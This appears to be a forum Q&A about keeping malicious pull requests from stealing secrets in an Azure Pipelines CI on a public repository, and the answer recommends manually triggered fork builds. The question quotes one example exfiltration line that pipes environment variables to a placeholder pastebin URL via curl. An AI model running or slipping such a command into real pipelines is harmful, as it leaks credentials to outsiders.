Run security checks before rurnning Azure Pipeline CI on public PR

Question

I have a public repo. Random GitHub users are free to create pull requests, and this is great.

My CI pipeline is described in a normal file in the repo called pipelines.yml (we use Azure pipelines).

Unfortunately this means that a random GitHub user is able to steal all my secret environment variables by creating a PR where they edit the pipelines.yml and add a bash script line with something like:

export | curl -XPOST 'http://pastebin-bla/xxxx'

Or run arbitrary code, in general. Right?

How can I verify that a malicious PR doesn't change at least some critical files?

Answer 1

How can I verify that a malicious PR doesn't change at least some critical files?

I am afraid we could not limit the PR doesn't change at least some critical files.

As workaround, we could turn off automatic fork builds and instead use pull request comments as a way to manually building these contributions, which give you an opportunity to review the code before triggering a build.

You could check the document Consider manually triggering fork builds for some more details.